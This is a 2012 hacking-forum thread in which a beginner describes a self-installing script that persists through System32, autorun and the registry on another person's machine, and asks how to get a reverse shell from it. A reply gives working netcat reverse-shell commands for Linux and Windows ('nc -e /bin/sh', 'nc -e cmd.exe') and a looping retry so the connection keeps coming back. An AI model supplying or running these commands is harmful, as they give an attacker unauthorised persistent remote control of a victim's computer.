Author Topic: [Question]NetCat Reverse Shell  (Read 1812 times)

0 Members and 1 Guest are viewing this topic.

Offline Exon

  • /dev/null
  • *
  • Posts: 11
  • Cookies: 0
    • View Profile
[Question]NetCat Reverse Shell
« on: April 17, 2012, 09:17:35 pm »
Hey there,


So I'm new to this forum and programming/hacking in general and I've started learning python, but to waste time on the side I was messing around abit with NetCat.

I've created a script that loads itself into sys32 on the homedrive, into autorun and the registry, starts NetCat listening on Port 8080. Problem is that I'M connecting to him and not the other way around, meaning if he doesn't have Port 8080 open I won't be able to connect.


So my question is, how do I create a Reverse Shell(?) so that he connects to me?


Thanks in advance!
« Last Edit: April 17, 2012, 09:17:52 pm by Exon »

Offline ca0s

  • VIP
  • Sir
  • *
  • Posts: 432
  • Cookies: 53
    • View Profile
    • ka0labs #
Re: [Question]NetCat Reverse Shell
« Reply #1 on: April 17, 2012, 09:58:08 pm »
In your machine:
nc -lvvp 8080

In the other box:
nc -e /bin/sh 127.0.0.1 8080

But will give you just one connection. You should script or code something. A bad way would be:
In the other host:
while true; do nc -e /bin/sh 127.0.0.1 8080; sleep 30; done;
In your machine, whenever you want shell:
nc -lvvp8080

Offline Exon

  • /dev/null
  • *
  • Posts: 11
  • Cookies: 0
    • View Profile
Re: [Question]NetCat Reverse Shell
« Reply #2 on: April 17, 2012, 11:04:24 pm »
How would   nc -e /bin/sh 127.0.0.1 8080; sleep 30; done; give me multiple connections? Wouldn't it have to be a loop with a timer? 
On a sidenote thanks for replying ;)

Edit: How do I force it to start cmd.exe on my end once I pick something up while listening on port 8080?
nc -e cmd.exe <my ip> 8080 ?
« Last Edit: April 17, 2012, 11:59:03 pm by Exon »

Offline ca0s

  • VIP
  • Sir
  • *
  • Posts: 432
  • Cookies: 53
    • View Profile
    • ka0labs #
Re: [Question]NetCat Reverse Shell
« Reply #3 on: April 18, 2012, 01:19:05 pm »
How would   nc -e /bin/sh 127.0.0.1 8080; sleep 30; done; give me multiple connections? Wouldn't it have to be a loop with a timer? 
On a sidenote thanks for replying ;)

Edit: How do I force it to start cmd.exe on my end once I pick something up while listening on port 8080?
nc -e cmd.exe <my ip> 8080 ?

With "just one connection" I meant that after first connection is closed you don't get another one without executing it again.
I suppose that what you want to do is get a reverse shell from a host. If the host is Linux, nc -e /bin/sh IP PORT
If windows, nc -e cmd.exe IP PORT
I have not tested it in windows btw.